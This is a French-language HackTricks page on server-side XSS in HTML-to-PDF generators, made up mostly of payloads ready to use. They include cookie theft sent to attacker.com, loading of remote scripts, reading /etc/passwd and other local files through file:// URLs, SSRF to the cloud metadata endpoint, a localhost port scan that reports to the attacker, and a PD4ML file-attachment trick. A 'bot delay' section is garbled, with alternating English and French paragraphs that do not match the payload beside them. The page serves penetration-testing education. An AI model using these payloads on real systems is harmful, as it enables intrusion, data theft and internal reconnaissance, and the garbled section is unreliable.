15 KiB
XSS côté serveur (PDF dynamique)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? Ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
XSS côté serveur (PDF dynamique)
Si une page web crée un PDF en utilisant une entrée contrôlée par l'utilisateur, vous pouvez essayer de tromper le bot qui crée le PDF pour qu'il exécute du code JS arbitraire.
Ainsi, si le bot créateur de PDF trouve des balises HTML, il va les interpréter, et vous pouvez exploiter ce comportement pour provoquer un XSS côté serveur.
Veuillez noter que les balises <script></script>
ne fonctionnent pas toujours, vous devrez donc utiliser une méthode différente pour exécuter du JS (par exemple, en abusant de <img
).
De plus, notez que lors d'une exploitation normale, vous pourrez voir/télécharger le PDF créé, vous pourrez donc voir tout ce que vous écrivez via JS (en utilisant document.write()
par exemple). Mais si vous ne pouvez pas voir le PDF créé, vous devrez probablement extraire les informations en effectuant des requêtes web vers vous (en mode aveugle).
Génération de PDF populaire
- wkhtmltopdf : Il s'agit d'un outil en ligne de commande open source qui utilise le moteur de rendu WebKit pour convertir HTML et CSS en documents PDF.
- TCPDF: Une bibliothèque PHP pour générer des documents PDF qui prend en charge un large éventail de fonctionnalités, y compris les images, les graphiques et le chiffrement.
- PDFKit : Une bibliothèque Node.js qui peut être utilisée pour générer des documents PDF à partir de HTML et CSS.
- iText : Une bibliothèque basée sur Java pour générer des documents PDF qui prend en charge un certain nombre de fonctionnalités, y compris les signatures numériques et le remplissage de formulaires.
- FPDF: Une bibliothèque PHP pour générer des documents PDF qui est légère et facile à utiliser.
Payloads
Découverte
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
SVG
L'un des précédents ou des charges utiles suivantes peut être utilisé à l'intérieur de cette charge utile SVG. Un iframe accédant au sous-domaine Burpcollab et un autre accédant au point de terminaison des métadonnées sont donnés à titre d'exemple.
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>
Vous pouvez trouver beaucoup d'autres charges utiles SVG dans https://github.com/allanlw/svg-cheatsheet
Divulgation de chemin
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
Charger un script externe
La meilleure façon de profiter de cette vulnérabilité est d'exploiter la vulnérabilité pour faire en sorte que le bot charge un script que vous contrôlez localement. Ensuite, vous pourrez modifier le payload localement et faire en sorte que le bot le charge avec le même code à chaque fois.
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
Lire un fichier local / SSRF
{% hint style="warning" %}
Remplacez file:///etc/passwd
par http://169.254.169.254/latest/user-data
par exemple pour essayer d'accéder à une page web externe (SSRF).
Si SSRF est autorisé, mais que vous ne pouvez pas atteindre un domaine ou une IP intéressante, consultez cette page pour des contournements potentiels. {% endhint %}
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
Délai du bot
Bots are automated programs that perform tasks on the internet. In the context of web security, bots can be used for various purposes, including scanning websites for vulnerabilities. However, when conducting a penetration test or security assessment, it is important to consider the impact of bot activity on the target system.
Les bots sont des programmes automatisés qui effectuent des tâches sur Internet. Dans le contexte de la sécurité web, les bots peuvent être utilisés à diverses fins, notamment pour scanner les sites web à la recherche de vulnérabilités. Cependant, lors de la réalisation d'un test de pénétration ou d'une évaluation de sécurité, il est important de prendre en compte l'impact de l'activité des bots sur le système cible.
Excessive bot activity can lead to various issues, such as server overload, increased network traffic, and potential disruption of normal operations. To mitigate these risks, it is recommended to introduce a delay in bot activity.
Une activité excessive des bots peut entraîner divers problèmes, tels qu'une surcharge du serveur, une augmentation du trafic réseau et une perturbation potentielle des opérations normales. Pour atténuer ces risques, il est recommandé d'introduire un délai dans l'activité des bots.
A bot delay is a mechanism that introduces a pause between each action performed by the bot. This delay can be implemented by adding a sleep function or using a timer to pause the bot for a specified period of time.
Un délai du bot est un mécanisme qui introduit une pause entre chaque action effectuée par le bot. Ce délai peut être mis en œuvre en ajoutant une fonction de pause (sleep) ou en utilisant un minuteur pour mettre en pause le bot pendant une période de temps spécifiée.
By introducing a delay, the bot activity becomes more human-like and reduces the chances of detection by security mechanisms. It also helps to prevent overwhelming the target system and allows it to handle the bot activity more effectively.
En introduisant un délai, l'activité du bot devient plus semblable à celle d'un humain et réduit les chances de détection par les mécanismes de sécurité. Cela permet également d'éviter de submerger le système cible et lui permet de gérer plus efficacement l'activité du bot.
The length of the delay should be determined based on the target system's capacity and the desired level of stealth. It is important to strike a balance between maintaining a realistic bot behavior and completing the desired tasks within a reasonable timeframe.
La durée du délai doit être déterminée en fonction de la capacité du système cible et du niveau de discrétion souhaité. Il est important de trouver un équilibre entre le maintien d'un comportement de bot réaliste et l'achèvement des tâches souhaitées dans un délai raisonnable.
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">
Scan de port
Un scan de port est une technique utilisée pour identifier les ports ouverts sur un système informatique. Cela permet aux hackers de déterminer quels services sont en cours d'exécution sur une machine cible et de trouver des vulnérabilités potentielles. Le scan de port peut être effectué à l'aide d'outils automatisés tels que Nmap, qui envoie des paquets à différents ports pour voir lesquels répondent. Une fois les ports ouverts identifiés, les hackers peuvent utiliser ces informations pour planifier des attaques ciblées. Il est important de noter que le scan de port sans autorisation préalable est illégal et peut entraîner des conséquences juridiques.
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}
for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">
SSRF
Cette vulnérabilité peut être facilement transformée en SSRF (car vous pouvez faire charger au script des ressources externes). Essayez simplement de l'exploiter (lire des métadonnées ?).
Pièces jointes : PD4ML
Il existe des moteurs HTML vers PDF qui permettent de spécifier des pièces jointes pour le PDF, comme PD4ML. Vous pouvez abuser de cette fonctionnalité pour attacher n'importe quel fichier local au PDF.
Pour ouvrir la pièce jointe, j'ai ouvert le fichier avec Firefox et double-cliqué sur le symbole trombone pour enregistrer la pièce jointe en tant que nouveau fichier.
Capturer la réponse PDF avec Burp devrait également afficher la pièce jointe en texte clair à l'intérieur du PDF.
{% code overflow="wrap" %}
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>
{% endcode %}
Références
- https://lbherrera.github.io/lab/h1415-ctf-writeup.html
- https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/
- https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html
- https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.